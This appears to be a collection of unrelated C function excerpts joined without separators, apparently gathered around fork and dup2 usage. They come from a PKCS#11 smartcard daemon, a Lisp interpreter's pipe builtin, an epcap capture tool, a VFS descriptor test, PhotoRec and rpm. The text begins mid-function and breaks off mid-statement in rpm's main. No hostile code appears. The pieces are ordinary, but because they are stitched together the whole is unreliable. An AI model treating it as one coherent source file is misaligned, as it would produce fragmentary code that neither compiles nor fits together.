"run_mode: %d", run_mode); common_log (LOG_DEBUG, "crypto: %s", #if defined(ENABLE_OPENSSL) "openssl" #elif defined(ENABLE_GNUTLS) "gnutls" #else "invalid" #endif ); } #if !defined(HAVE_W32_SYSTEM) if (run_mode == RUN_MODE_DAEMON || run_mode == RUN_MODE_MULTI_SERVER) { server_socket_create_name (); } /* * fork before doing PKCS#11 stuff * some providers don't behave well */ if (run_mode == RUN_MODE_DAEMON) { pid_t pid; pid = fork (); if (pid == -1) { common_log (LOG_FATAL, "fork failed"); } if (pid != 0) { static const char *key = "SCDAEMON_INFO"; char env[1024]; snprintf (env, sizeof (env), "%s:%lu:1", s_socket_name, (unsigned long)pid); if (argc - base_argc > 0) { setenv(key, env, 1); execvp (argv[base_argc], &(argv[base_argc])); kill (pid, SIGTERM); exit (1); } else { if (env_is_csh) { *strchr (env, '=') = ' '; printf ("setenv %s %s\n", key, env); } else { printf ("%s=%s; export %s\n", key, env, key); } exit (0); } } if (!no_detach) { int i; for (i=0;i<3;i++) { if (fileno (common_get_log_stream ()) != i) { close (i); } } if (setsid () == -1) { common_log (LOG_FATAL, "setsid failed"); } } if (chdir ("/") == -1) { common_log (LOG_FATAL, "chdir failed"); } if (argc - base_argc > 0) { struct sigaction sa; memset (&sa, 0, sizeof (sa)); sigemptyset (&sa.sa_mask); #if defined(SA_INTERRUPT) sa.sa_flags |= SA_INTERRUPT; #endif sa.sa_handler = on_alarm; sigaction (SIGALRM, &sa, NULL); alarm (10); } } #endif /* HAVE_W32_SYSTEM */ assuan_set_assuan_log_prefix (PACKAGE); assuan_set_assuan_log_stream (common_get_log_stream ()); #if defined(USE_GNUTLS) if (gnutls_global_init () != GNUTLS_E_SUCCESS) { common_log (LOG_FATAL, "Cannot initialize gnutls"); } #endif if ((rv = pkcs11h_initialize ()) != CKR_OK) { common_log (LOG_FATAL, "Cannot initialize PKCS#11: %s", pkcs11h_getMessage (rv)); } pkcs11h_setLogLevel (config.verbose ? PKCS11H_LOG_DEBUG2 : PKCS11H_LOG_INFO); pkcs11h_setLogHook (pkcs11_log_hook, NULL); pkcs11h_setTokenPromptHook (pkcs11_token_prompt_hook, NULL); pkcs11h_setPINPromptHook (pkcs11_pin_prompt_hook, NULL); pkcs11h_setProtectedAuthentication (TRUE); for (i=0;i<DCONFIG_MAX_PROVIDERS;i++) { if ( config.providers[i].name != NULL && config.providers[i].library != NULL ) { if ( (rv = pkcs11h_addProvider ( config.providers[i].name, config.providers[i].library, config.providers[i].allow_protected, config.providers[i].private_mask, PKCS11H_SLOTEVENT_METHOD_POLL, 0, config.providers[i].cert_is_private )) != CKR_OK ) { common_log (LOG_WARNING, "Cannot add PKCS#11 provider '%s': %ld-'%s'", config.providers[i].name, rv, pkcs11h_getMessage (rv)); } else { have_at_least_one_provider = 1; } } } if (!have_at_least_one_provider) { common_log (LOG_FATAL, "Could not load any provider"); } #if defined(HAVE_W32_SYSTEM) command_handler (-1, &config); #else { pthread_t accept_thread = 0; int accept_socket = -1; if (run_mode == RUN_MODE_DAEMON || run_mode == RUN_MODE_MULTI_SERVER) { accept_socket = server_socket_create (); server_socket_accept (accept_socket, &accept_thread, &config); } if (run_mode == RUN_MODE_DAEMON) { /* * Emulate assuan behavior */ int fds[2]; char c; if (pipe (fds)==-1) { common_log (LOG_FATAL, "Could not create pipe"); } close (0); dup2 (fds[0], 0); close (fds[0]); while (read (0, &c, 1) == -1 && errno == EINTR); close (fds[1]); } else { command_handler (-1, &config); } if (run_mode == RUN_MODE_DAEMON || run_mode == RUN_MODE_MULTI_SERVER) { server_socket_accept_terminate (accept_thread); server_socket_close (accept_socket); } } #endif pkcs11h_terminate (); #if defined(USE_GNUTLS) gnutls_global_deinit (); #endif dconfig_free (&config); if (log_file != NULL) { free (log_file); log_file = NULL; } if (config_file != NULL) { free (config_file); config_file = NULL; } if (default_config_file != NULL) { free (default_config_file); default_config_file = NULL; } if (home_dir != NULL) { free (home_dir); home_dir = NULL; } if (fp_log != NULL) { fclose (fp_log); fp_log = NULL; } return 0; }
/* XXX Non standard functions below */ LispObj * Lisp_MakePipe(LispBuiltin *builtin) /* make-pipe command-line &key :direction :element-type :external-format */ { char *string; LispObj *stream = NIL; int flags, direction; LispFile *error_file; LispPipe *program; int ifd[2]; int ofd[2]; int efd[2]; char *argv[4]; LispObj *command_line, *odirection, *element_type, *external_format; external_format = ARGUMENT(3); element_type = ARGUMENT(2); odirection = ARGUMENT(1); command_line = ARGUMENT(0); if (PATHNAMEP(command_line)) command_line = CAR(command_line->data.quote); else if (!STRINGP(command_line)) LispDestroy("%s: %s is a bad pathname", STRFUN(builtin), STROBJ(command_line)); if (odirection != UNSPEC) { direction = -1; if (KEYWORDP(odirection)) { if (odirection == Kprobe) direction = DIR_PROBE; else if (odirection == Kinput) direction = DIR_INPUT; else if (odirection == Koutput) direction = DIR_OUTPUT; else if (odirection == Kio) direction = DIR_IO; } if (direction == -1) LispDestroy("%s: bad :DIRECTION %s", STRFUN(builtin), STROBJ(odirection)); } else direction = DIR_INPUT; if (element_type != UNSPEC) { /* just check argument... */ if (SYMBOLP(element_type) && ATOMID(element_type) == Scharacter) ; /* do nothing */ else if (KEYWORDP(element_type) && ATOMID(element_type) == Sdefault) ; /* do nothing */ else LispDestroy("%s: only :%s and %s supported for :ELEMENT-TYPE, not %s", STRFUN(builtin), Sdefault, Scharacter, STROBJ(element_type)); } if (external_format != UNSPEC) { /* just check argument... */ if (SYMBOLP(external_format) && ATOMID(external_format) == Scharacter) ; /* do nothing */ else if (KEYWORDP(external_format) && ATOMID(external_format) == Sdefault) ; /* do nothing */ else LispDestroy("%s: only :%s and %s supported for :EXTERNAL-FORMAT, not %s", STRFUN(builtin), Sdefault, Scharacter, STROBJ(external_format)); } string = THESTR(command_line); program = LispMalloc(sizeof(LispPipe)); if (direction != DIR_PROBE) { argv[0] = "sh"; argv[1] = "-c"; argv[2] = string; argv[3] = NULL; pipe(ifd); pipe(ofd); pipe(efd); if ((program->pid = fork()) == 0) { close(0); close(1); close(2); dup2(ofd[0], 0); dup2(ifd[1], 1); dup2(efd[1], 2); close(ifd[0]); close(ifd[1]); close(ofd[0]); close(ofd[1]); close(efd[0]); close(efd[1]); execve("/bin/sh", argv, environ); exit(-1); } else if (program->pid < 0) LispDestroy("%s: fork: %s", STRFUN(builtin), strerror(errno)); program->input = LispFdopen(ifd[0], FILE_READ | FILE_UNBUFFERED); close(ifd[1]); program->output = LispFdopen(ofd[1], FILE_WRITE | FILE_UNBUFFERED); close(ofd[0]); error_file = LispFdopen(efd[0], FILE_READ | FILE_UNBUFFERED); close(efd[1]); } else { program->pid = -1; program->input = program->output = error_file = NULL; } flags = direction == DIR_PROBE ? 0 : STREAM_READ; program->errorp = FILESTREAM(error_file, command_line, flags); flags = 0; if (direction != DIR_PROBE) { if (direction == DIR_INPUT || direction == DIR_IO) flags |= STREAM_READ; if (direction == DIR_OUTPUT || direction == DIR_IO) flags |= STREAM_WRITE; } stream = PIPESTREAM(program, command_line, flags); LispMused(program); return (stream); }
int main(int argc, char *argv[]) { EPCAP_STATE *ep = NULL; pid_t pid = 0; int ch = 0; int fd = 0; IS_NULL(ep = calloc(1, sizeof(EPCAP_STATE))); ep->snaplen = SNAPLEN; ep->timeout = TIMEOUT; while ( (ch = getopt(argc, argv, "d:f:g:hi:MPs:t:u:v")) != -1) { switch (ch) { case 'd': /* chroot directory */ IS_NULL(ep->chroot = strdup(optarg)); break; case 'f': IS_NULL(ep->file = strdup(optarg)); ep->runasuser = 1; break; case 'g': IS_NULL(ep->group = strdup(optarg)); break; case 'i': IS_NULL(ep->dev = strdup(optarg)); break; case 'M': ep->rfmon = 1; break; case 'P': ep->promisc = 1; break; case 's': ep->snaplen = (size_t)atoi(optarg); break; case 't': ep->timeout = (u_int32_t)atoi(optarg); break; case 'u': IS_NULL(ep->user = strdup(optarg)); break; case 'v': ep->verbose++; break; case 'h': default: usage(ep); } } argc -= optind; argv += optind; IS_NULL(ep->filt = strdup( (argc == 1) ? argv[0] : EPCAP_FILTER)); IS_LTZERO(fd = open("/dev/null", O_RDWR)); epcap_priv_issetuid(ep); IS_LTZERO(epcap_open(ep)); if (epcap_priv_drop(ep) < 0) exit (1); signal(SIGCHLD, gotsig); switch (pid = fork()) { case -1: err(EXIT_FAILURE, "fork"); case 0: IS_LTZERO(dup2(fd, STDIN_FILENO)); IS_LTZERO(close(fd)); IS_LTZERO(epcap_init(ep)); IS_LTZERO(epcap_priv_rlimits(EPCAP_RLIMIT_NOFILES)); epcap_loop(ep); break; default: if ( (dup2(fd, STDOUT_FILENO) < 0) || (close(fd) < 0)) goto CLEANUP; pcap_close(ep->p); if (epcap_priv_rlimits(0) < 0) goto CLEANUP; epcap_watch(); CLEANUP: (void)kill(pid, SIGTERM); break; } exit (0); }
static void vfstest_fd(void) { #define FD_BUFSIZE 5 #define BAD_FD 20 #define HUGE_FD 9999 int fd1, fd2; char buf[FD_BUFSIZE]; struct dirent d; syscall_success(mkdir("fd", 0)); syscall_success(chdir("fd")); /* read/write/close/getdents/dup nonexistent file descriptors */ syscall_fail(read(BAD_FD, buf, FD_BUFSIZE), EBADF); syscall_fail(read(HUGE_FD, buf, FD_BUFSIZE), EBADF); syscall_fail(read(-1, buf, FD_BUFSIZE), EBADF); syscall_fail(write(BAD_FD, buf, FD_BUFSIZE), EBADF); syscall_fail(write(HUGE_FD, buf, FD_BUFSIZE), EBADF); syscall_fail(write(-1, buf, FD_BUFSIZE), EBADF); syscall_fail(close(BAD_FD), EBADF); syscall_fail(close(HUGE_FD), EBADF); syscall_fail(close(-1), EBADF); syscall_fail(lseek(BAD_FD, 0, SEEK_SET), EBADF); syscall_fail(lseek(HUGE_FD, 0, SEEK_SET), EBADF); syscall_fail(lseek(-1, 0, SEEK_SET), EBADF); syscall_fail(getdents(BAD_FD, &d, sizeof(d)), EBADF); syscall_fail(getdents(HUGE_FD, &d, sizeof(d)), EBADF); syscall_fail(getdents(-1, &d, sizeof(d)), EBADF); syscall_fail(dup(BAD_FD), EBADF); syscall_fail(dup(HUGE_FD), EBADF); syscall_fail(dup(-1), EBADF); syscall_fail(dup2(BAD_FD, 10), EBADF); syscall_fail(dup2(HUGE_FD, 10), EBADF); syscall_fail(dup2(-1, 10), EBADF); /* dup2 has some extra cases since it takes a second fd */ syscall_fail(dup2(0, HUGE_FD), EBADF); syscall_fail(dup2(0, -1), EBADF); /* if the fds are equal, but the first is invalid or out of the * allowed range */ syscall_fail(dup2(BAD_FD, BAD_FD), EBADF); syscall_fail(dup2(HUGE_FD, HUGE_FD), EBADF); syscall_fail(dup2(-1, -1), EBADF); /* dup works properly in normal usage */ create_file("file01"); syscall_success(fd1 = open("file01", O_RDWR, 0)); syscall_success(fd2 = dup(fd1)); test_assert(fd1 < fd2, "dup(%d) returned %d", fd1, fd2); syscall_success(write(fd2, "hello", 5)); test_fpos(fd1, 5); test_fpos(fd2, 5); syscall_success(lseek(fd2, 0, SEEK_SET)); test_fpos(fd1, 0); test_fpos(fd2, 0); read_fd(fd1, 5, "hello"); test_fpos(fd1, 5); test_fpos(fd2, 5); syscall_success(close(fd2)); /* dup2 works properly in normal usage */ syscall_success(fd2 = dup2(fd1, 10)); test_assert(10 == fd2, "dup2(%d, 10) returned %d", fd1, fd2); test_fpos(fd1, 5); test_fpos(fd2, 5); syscall_success(lseek(fd2, 0, SEEK_SET)); test_fpos(fd1, 0); test_fpos(fd2, 0); syscall_success(close(fd2)); /* dup2-ing a file to itself works */ syscall_success(fd2 = dup2(fd1, fd1)); test_assert(fd1 == fd2, "dup2(%d, %d) returned %d", fd1, fd1, fd2); syscall_success(close(fd2)); /* dup2 closes previous file */ int fd3; create_file("file02"); syscall_success(fd3 = open("file02", O_RDWR, 0)); syscall_success(fd2 = dup2(fd1, fd3)); test_assert(fd2 == fd3, "dup2(%d, %d) returned %d", fd1, fd3, fd2); test_fpos(fd1, 0); test_fpos(fd2, 0); syscall_success(lseek(fd2, 5, SEEK_SET)); test_fpos(fd1, 5); test_fpos(fd2, 5); syscall_success(chdir("..")); }
int main( int argc, char **argv ) { int i; int use_sudo=0; int help=0, version=0; int create_log=TD_LOG_NONE; int run_setlocale=1; int testdisk_mode=TESTDISK_O_RDONLY|TESTDISK_O_READAHEAD_32K; list_disk_t *list_disk=NULL; list_disk_t *element_disk; const char *logfile="photorec.log"; FILE *log_handle=NULL; struct ph_options options={ .paranoid=1, .keep_corrupted_file=0, .mode_ext2=0, .expert=0, .lowmem=0, .verbose=0, .list_file_format=list_file_enable }; struct ph_param params; params.recup_dir=NULL; params.cmd_device=NULL; params.cmd_run=NULL; /* random (weak is ok) is need fot GPT */ srand(time(NULL)); #ifdef HAVE_SIGACTION /* set up the signal handler for SIGINT & SIGHUP */ sigemptyset(&action.sa_mask); sigaddset(&action.sa_mask, SIGINT); sigaddset(&action.sa_mask, SIGHUP); action.sa_handler = sighup_hdlr; action.sa_flags = 0; if(sigaction(SIGINT, &action, NULL)==-1) { printf("Error on SIGACTION call\n"); return -1; } if(sigaction(SIGHUP, &action, NULL)==-1) { printf("Error on SIGACTION call\n"); return -1; } #endif printf("PhotoRec %s, Data Recovery Utility, %s\nChristophe GRENIER <*****@*****.**>\nhttp://www.cgsecurity.org\n",VERSION,TESTDISKDATE); for(i=1;i<argc;i++) { if((strcmp(argv[i],"/logname")==0) ||(strcmp(argv[i],"-logname")==0)) { if(i+2>=argc) help=1; else logfile=argv[++i]; } else if((strcmp(argv[i],"/log")==0) ||(strcmp(argv[i],"-log")==0)) { if(create_log==TD_LOG_NONE) create_log=TD_LOG_APPEND; } else if((strcmp(argv[i],"/debug")==0) || (strcmp(argv[i],"-debug")==0)) { options.verbose++; if(create_log==TD_LOG_NONE) create_log=TD_LOG_APPEND; } else if(((strcmp(argv[i],"/d")==0)||(strcmp(argv[i],"-d")==0)) &&(i+1<argc)) { int len=strlen(argv[i+1]); if(argv[i+1][len-1]=='\\' || argv[i+1][len-1]=='/') { params.recup_dir=(char *)MALLOC(len + strlen(DEFAULT_RECUP_DIR) + 1); strcpy(params.recup_dir,argv[i+1]); strcat(params.recup_dir,DEFAULT_RECUP_DIR); } else params.recup_dir=strdup(argv[i+1]); i++; } else if((strcmp(argv[i],"/all")==0) || (strcmp(argv[i],"-all")==0)) testdisk_mode|=TESTDISK_O_ALL; else if((strcmp(argv[i],"/direct")==0) || (strcmp(argv[i],"-direct")==0)) testdisk_mode|=TESTDISK_O_DIRECT; else if((strcmp(argv[i],"/help")==0) || (strcmp(argv[i],"-help")==0) || (strcmp(argv[i],"--help")==0) || (strcmp(argv[i],"/h")==0) || (strcmp(argv[i],"-h")==0) || (strcmp(argv[i],"/?")==0) || (strcmp(argv[i],"-?")==0)) help=1; else if((strcmp(argv[i],"/version")==0) || (strcmp(argv[i],"-version")==0) || (strcmp(argv[i],"--version")==0) || (strcmp(argv[i],"/v")==0) || (strcmp(argv[i],"-v")==0)) version=1; else if((strcmp(argv[i],"/nosetlocale")==0) || (strcmp(argv[i],"-nosetlocale")==0)) run_setlocale=0; else if(strcmp(argv[i],"/cmd")==0) { if(i+2>=argc) help=1; else { disk_t *disk_car; params.cmd_device=argv[++i]; params.cmd_run=argv[++i]; /* There is no log currently */ disk_car=file_test_availability(params.cmd_device, options.verbose, testdisk_mode); if(disk_car==NULL) { printf("\nUnable to open file or device %s\n", params.cmd_device); help=1; } else list_disk=insert_new_disk(list_disk,disk_car); } } else { disk_t *disk_car=file_test_availability(argv[i], options.verbose, testdisk_mode); if(disk_car==NULL) { printf("\nUnable to open file or device %s\n",argv[i]); help=1; } else list_disk=insert_new_disk(list_disk,disk_car); } } if(version!=0) { printf("\n"); printf("Version: %s\n", VERSION); printf("Compiler: %s\n", get_compiler()); printf("Compilation date: %s\n", get_compilation_date()); printf("ext2fs lib: %s, ntfs lib: %s, ewf lib: %s, libjpeg: %s\n", td_ext2fs_version(), td_ntfs_version(), td_ewf_version(), td_jpeg_version()); printf("OS: %s\n" , get_os()); free(params.recup_dir); return 0; } if(help!=0) { printf("\nUsage: photorec [/log] [/debug] [/d recup_dir] [file.dd|file.e01|device]\n"\ " photorec /version\n" \ "\n" \ "/log : create a photorec.log file\n" \ "/debug : add debug information\n" \ "\n" \ "PhotoRec searches various file formats (JPEG, Office...), it stores them\n" \ "in recup_dir directory.\n" \ "\n" \ "If you have problems with PhotoRec or bug reports, please contact me.\n"); free(params.recup_dir); return 0; } #ifdef ENABLE_DFXML xml_set_command_line(argc, argv); #endif if(create_log!=TD_LOG_NONE) log_handle=log_open(logfile, create_log); #ifdef HAVE_SETLOCALE if(run_setlocale>0) { const char *locale; locale = setlocale (LC_ALL, ""); if (locale==NULL) { locale = setlocale (LC_ALL, NULL); log_error("Failed to set locale, using default '%s'.\n", locale); } else { log_info("Using locale '%s'.\n", locale); } } #endif if(create_log!=TD_LOG_NONE && log_handle==NULL) log_handle=log_open_default(logfile, create_log); #ifdef HAVE_NCURSES /* ncurses need locale for correct unicode support */ if(start_ncurses("PhotoRec", argv[0])) { free(params.recup_dir); return 1; } { const char*filename=logfile; while(create_log!=TD_LOG_NONE && log_handle==NULL) { filename=ask_log_location(filename); if(filename!=NULL) log_handle=log_open(filename, create_log); else create_log=TD_LOG_NONE; } } aff_copy(stdscr); wmove(stdscr,5,0); wprintw(stdscr, "Disk identification, please wait...\n"); wrefresh(stdscr); #endif if(log_handle!=NULL) { time_t my_time; #ifdef HAVE_DUP2 dup2(fileno(log_handle),2); #endif my_time=time(NULL); log_info("\n\n%s",ctime(&my_time)); log_info("Command line: PhotoRec"); for(i=1;i<argc;i++) log_info(" %s", argv[i]); log_info("\n\n"); log_flush(); } log_info("PhotoRec %s, Data Recovery Utility, %s\nChristophe GRENIER <*****@*****.**>\nhttp://www.cgsecurity.org\n", VERSION, TESTDISKDATE); log_info("OS: %s\n" , get_os()); log_info("Compiler: %s\n", get_compiler()); log_info("Compilation date: %s\n", get_compilation_date()); log_info("ext2fs lib: %s, ntfs lib: %s, ewf lib: %s, libjpeg: %s\n", td_ext2fs_version(), td_ntfs_version(), td_ewf_version(), td_jpeg_version()); #if defined(__CYGWIN__) || defined(__MINGW32__) || defined(DJGPP) #else #ifdef HAVE_GETEUID if(geteuid()!=0) { log_warning("User is not root!\n"); } #endif #endif screen_buffer_reset(); /* Scan for available device only if no device or image has been supplied in parameter */ if(list_disk==NULL) list_disk=hd_parse(list_disk, options.verbose, testdisk_mode); hd_update_all_geometry(list_disk, options.verbose); /* Activate the cache, even if photorec has its own */ for(element_disk=list_disk;element_disk!=NULL;element_disk=element_disk->next) { element_disk->disk=new_diskcache(element_disk->disk, testdisk_mode); } /* save disk parameters to rapport */ log_info("Hard disk list\n"); for(element_disk=list_disk;element_disk!=NULL;element_disk=element_disk->next) { disk_t *disk=element_disk->disk; log_info("%s, sector size=%u", disk->description(disk), disk->sector_size); if(disk->model!=NULL) log_info(" - %s", disk->model); if(disk->serial_no!=NULL) log_info(", S/N:%s", disk->serial_no); if(disk->fw_rev!=NULL) log_info(", FW:%s", disk->fw_rev); log_info("\n"); } log_info("\n"); reset_list_file_enable(options.list_file_format); file_options_load(options.list_file_format); use_sudo=do_curses_photorec(¶ms, &options, list_disk); #ifdef HAVE_NCURSES end_ncurses(); #endif delete_list_disk(list_disk); log_info("PhotoRec exited normally.\n"); if(log_close()!=0) { printf("PhotoRec: Log file corrupted!\n"); } else if(params.cmd_run!=NULL && params.cmd_run[0]!='\0') { printf("PhotoRec syntax error: %s\n", params.cmd_run); } else { printf("PhotoRec exited normally.\n"); } #ifdef SUDO_BIN if(use_sudo>0) run_sudo(argc, argv); #endif free(params.recup_dir); #ifdef ENABLE_DFXML xml_clear_command_line(); #endif return 0; }
int main(int argc, const char ** argv) #endif /*@globals rpmEVR, RPMVERSION, rpmGlobalMacroContext, rpmCLIMacroContext, h_errno, fileSystem, internalState@*/ /*@modifies fileSystem, internalState@*/ { poptContext optCon = rpmcliInit(argc, (char *const *)argv, optionsTable); rpmts ts = NULL; enum modes bigMode = MODE_UNKNOWN; #if defined(IAM_RPMQV) QVA_t qva = &rpmQVKArgs; #endif #ifdef IAM_RPMBT BTA_t ba = &rpmBTArgs; #endif #ifdef IAM_RPMEIU QVA_t ia = &rpmIArgs; #endif #if defined(IAM_RPMDB) QVA_t da = &rpmDBArgs; #endif #if defined(IAM_RPMK) QVA_t ka = &rpmQVKArgs; #endif #if defined(IAM_RPMBT) || defined(IAM_RPMK) char * passPhrase = ""; #endif pid_t pipeChild = 0; int ec = 0; int status; int p[2]; #ifdef IAM_RPMEIU int xx; #endif #if !defined(__GLIBC__) && !defined(__LCLINT__) environ = envp; #else /* XXX limit the fiddle up to linux for now. */ #if !defined(HAVE_SETPROCTITLE) && defined(__linux__) (void) initproctitle(argc, (char **)argv, environ); #endif #endif /* Set the major mode based on argv[0] */ /*@-nullpass@*/ #ifdef IAM_RPMBT if (!strcmp(__progname, "rpmb")) bigMode = MODE_BUILD; if (!strcmp(__progname, "lt-rpmb")) bigMode = MODE_BUILD; if (!strcmp(__progname, "rpmt")) bigMode = MODE_TARBUILD; if (!strcmp(__progname, "rpmbuild")) bigMode = MODE_BUILD; #endif #ifdef IAM_RPMQV if (!strcmp(__progname, "rpmq")) bigMode = MODE_QUERY; if (!strcmp(__progname, "lt-rpmq")) bigMode = MODE_QUERY; if (!strcmp(__progname, "rpmv")) bigMode = MODE_VERIFY; if (!strcmp(__progname, "rpmquery")) bigMode = MODE_QUERY; if (!strcmp(__progname, "rpmverify")) bigMode = MODE_VERIFY; #endif #ifdef RPMEIU if (!strcmp(__progname, "rpme")) bigMode = MODE_ERASE; if (!strcmp(__progname, "rpmi")) bigMode = MODE_INSTALL; if (!strcmp(__progname, "lt-rpmi")) bigMode = MODE_INSTALL; if (!strcmp(__progname, "rpmu")) bigMode = MODE_INSTALL; #endif /*@=nullpass@*/ #if defined(IAM_RPMQV) /* Jumpstart option from argv[0] if necessary. */ switch (bigMode) { case MODE_QUERY: qva->qva_mode = 'q'; break; case MODE_VERIFY: qva->qva_mode = 'V'; break; case MODE_CHECKSIG: qva->qva_mode = 'K'; break; case MODE_RESIGN: qva->qva_mode = 'R'; break; case MODE_INSTALL: case MODE_ERASE: case MODE_BUILD: case MODE_REBUILD: case MODE_RECOMPILE: case MODE_TARBUILD: case MODE_REBUILDDB: case MODE_UNKNOWN: default: break; } #endif rpmcliConfigured(); #ifdef IAM_RPMBT switch (ba->buildMode) { case 'b': bigMode = MODE_BUILD; break; case 't': bigMode = MODE_TARBUILD; break; case 'B': bigMode = MODE_REBUILD; break; case 'C': bigMode = MODE_RECOMPILE; break; } if ((ba->buildAmount & RPMBUILD_RMSOURCE) && bigMode == MODE_UNKNOWN) bigMode = MODE_BUILD; if ((ba->buildAmount & RPMBUILD_RMSPEC) && bigMode == MODE_UNKNOWN) bigMode = MODE_BUILD; #endif /* IAM_RPMBT */ #ifdef IAM_RPMDB if (bigMode == MODE_UNKNOWN || (bigMode & MODES_DB)) { if (da->rebuild) { if (bigMode != MODE_UNKNOWN) argerror(_("only one major mode may be specified")); else bigMode = MODE_REBUILDDB; } } #endif /* IAM_RPMDB */ #ifdef IAM_RPMQV if (bigMode == MODE_UNKNOWN || (bigMode & MODES_QV)) { switch (qva->qva_mode) { case 'q': bigMode = MODE_QUERY; break; case 'V': bigMode = MODE_VERIFY; break; } if (qva->qva_sourceCount) { if (qva->qva_sourceCount > 2) argerror(_("one type of query/verify may be performed at a " "time")); } if (qva->qva_flags && (bigMode & ~MODES_QV)) argerror(_("unexpected query flags")); if (qva->qva_queryFormat && (bigMode & ~MODES_QV)) argerror(_("unexpected query format")); if (qva->qva_source != RPMQV_PACKAGE && (bigMode & ~MODES_QV)) argerror(_("unexpected query source")); } #endif /* IAM_RPMQV */ #ifdef IAM_RPMEIU if (bigMode == MODE_UNKNOWN || (bigMode & MODES_IE)) { int iflags = (ia->installInterfaceFlags & (INSTALL_UPGRADE|INSTALL_FRESHEN|INSTALL_INSTALL)); int eflags = (ia->installInterfaceFlags & INSTALL_ERASE); if (iflags & eflags) argerror(_("only one major mode may be specified")); else if (iflags) bigMode = MODE_INSTALL; else if (eflags) bigMode = MODE_ERASE; } #endif /* IAM_RPMEIU */ #ifdef IAM_RPMK if (bigMode == MODE_UNKNOWN || (bigMode & MODES_K)) { switch (ka->qva_mode) { case RPMSIGN_NONE: ka->sign = 0; break; case RPMSIGN_IMPORT_PUBKEY: case RPMSIGN_CHK_SIGNATURE: bigMode = MODE_CHECKSIG; ka->sign = 0; break; case RPMSIGN_ADD_SIGNATURE: case RPMSIGN_NEW_SIGNATURE: case RPMSIGN_DEL_SIGNATURE: bigMode = MODE_RESIGN; ka->sign = (ka->qva_mode != RPMSIGN_DEL_SIGNATURE); break; } } #endif /* IAM_RPMK */ #if defined(IAM_RPMEIU) if (!( bigMode == MODE_INSTALL ) && (ia->probFilter & (RPMPROB_FILTER_REPLACEPKG | RPMPROB_FILTER_OLDPACKAGE))) argerror(_("only installation, upgrading, rmsource and rmspec may be forced")); if (bigMode != MODE_INSTALL && (ia->probFilter & RPMPROB_FILTER_FORCERELOCATE)) argerror(_("files may only be relocated during package installation")); if (ia->relocations && ia->qva_prefix) argerror(_("cannot use --prefix with --relocate or --excludepath")); if (bigMode != MODE_INSTALL && ia->relocations) argerror(_("--relocate and --excludepath may only be used when installing new packages")); if (bigMode != MODE_INSTALL && ia->qva_prefix) argerror(_("--prefix may only be used when installing new packages")); if (ia->qva_prefix && ia->qva_prefix[0] != '/') argerror(_("arguments to --prefix must begin with a /")); if (bigMode != MODE_INSTALL && (ia->installInterfaceFlags & INSTALL_HASH)) argerror(_("--hash (-h) may only be specified during package " "installation")); if (bigMode != MODE_INSTALL && (ia->installInterfaceFlags & INSTALL_PERCENT)) argerror(_("--percent may only be specified during package " "installation")); if (bigMode != MODE_INSTALL && (ia->probFilter & RPMPROB_FILTER_REPLACEPKG)) argerror(_("--replacepkgs may only be specified during package " "installation")); if (bigMode != MODE_INSTALL && (ia->transFlags & RPMTRANS_FLAG_NODOCS)) argerror(_("--excludedocs may only be specified during package " "installation")); if (bigMode != MODE_INSTALL && ia->incldocs) argerror(_("--includedocs may only be specified during package " "installation")); if (ia->incldocs && (ia->transFlags & RPMTRANS_FLAG_NODOCS)) argerror(_("only one of --excludedocs and --includedocs may be " "specified")); if (bigMode != MODE_INSTALL && (ia->probFilter & RPMPROB_FILTER_IGNOREARCH)) argerror(_("--ignorearch may only be specified during package " "installation")); if (bigMode != MODE_INSTALL && (ia->probFilter & RPMPROB_FILTER_IGNOREOS)) argerror(_("--ignoreos may only be specified during package " "installation")); if ((ia->installInterfaceFlags & INSTALL_ALLMATCHES) && bigMode != MODE_ERASE) argerror(_("--allmatches may only be specified during package " "erasure")); if ((ia->transFlags & RPMTRANS_FLAG_ALLFILES) && bigMode != MODE_INSTALL) argerror(_("--allfiles may only be specified during package " "installation")); if ((ia->transFlags & RPMTRANS_FLAG_JUSTDB) && bigMode != MODE_INSTALL && bigMode != MODE_ERASE) argerror(_("--justdb may only be specified during package " "installation and erasure")); if (bigMode != MODE_INSTALL && bigMode != MODE_ERASE && (ia->transFlags & (RPMTRANS_FLAG_NOSCRIPTS | _noTransScripts | _noTransTriggers))) argerror(_("script disabling options may only be specified during " "package installation and erasure")); if (bigMode != MODE_INSTALL && bigMode != MODE_ERASE && (ia->transFlags & (RPMTRANS_FLAG_NOTRIGGERS | _noTransTriggers))) argerror(_("trigger disabling options may only be specified during " "package installation and erasure")); if (ia->noDeps & (bigMode & ~MODES_FOR_NODEPS)) argerror(_("--nodeps may only be specified during package " "building, rebuilding, recompilation, installation, " "erasure, and verification")); if ((ia->transFlags & RPMTRANS_FLAG_TEST) && (bigMode & ~MODES_FOR_TEST)) argerror(_("--test may only be specified during package installation, " "erasure, and building")); #endif /* IAM_RPMEIU */ if (rpmioRootDir && rpmioRootDir[1] && (bigMode & ~MODES_FOR_ROOT)) argerror(_("--root (-r) may only be specified during " "installation, erasure, querying, and " "database rebuilds")); if (rpmioRootDir) { switch (urlIsURL(rpmioRootDir)) { default: if (bigMode & MODES_FOR_ROOT) break; /*@fallthrough@*/ case URL_IS_UNKNOWN: if (rpmioRootDir[0] != '/') argerror(_("arguments to --root (-r) must begin with a /")); break; } } #if defined(RPM_VENDOR_OPENPKG) /* integrity-checking */ integrity_check(__progname, bigMode); #endif #if defined(IAM_RPMBT) || defined(IAM_RPMK) if (0 #if defined(IAM_RPMBT) || ba->sign #endif #if defined(IAM_RPMK) || ka->sign #endif ) /*@-branchstate@*/ { if (bigMode == MODE_REBUILD || bigMode == MODE_BUILD || bigMode == MODE_RESIGN || bigMode == MODE_TARBUILD) { const char ** av; struct stat sb; int errors = 0; if ((av = poptGetArgs(optCon)) == NULL) { fprintf(stderr, _("no files to sign\n")); errors++; } else while (*av) { if (Stat(*av, &sb)) { fprintf(stderr, _("cannot access file %s\n"), *av); errors++; } av++; } if (errors) { ec = errors; goto exit; } if (poptPeekArg(optCon) #if defined(IAM_RPMBT) && !ba->nopassword #endif #if defined(IAM_RPMK) && !ka->nopassword #endif ) { passPhrase = Getpass(_("Enter pass phrase: ")); if (rpmCheckPassPhrase(passPhrase)) { fprintf(stderr, _("Pass phrase check failed\n")); ec = EXIT_FAILURE; goto exit; } fprintf(stderr, _("Pass phrase is good.\n")); /* XXX Getpass() should realloc instead. */ passPhrase = xstrdup(passPhrase); } } } /*@=branchstate@*/ #endif /* IAM_RPMBT || IAM_RPMK */ if (rpmioPipeOutput) { if (pipe(p) < 0) { fprintf(stderr, _("creating a pipe for --pipe failed: %m\n")); goto exit; } if (!(pipeChild = fork())) { (void) close(p[1]); (void) 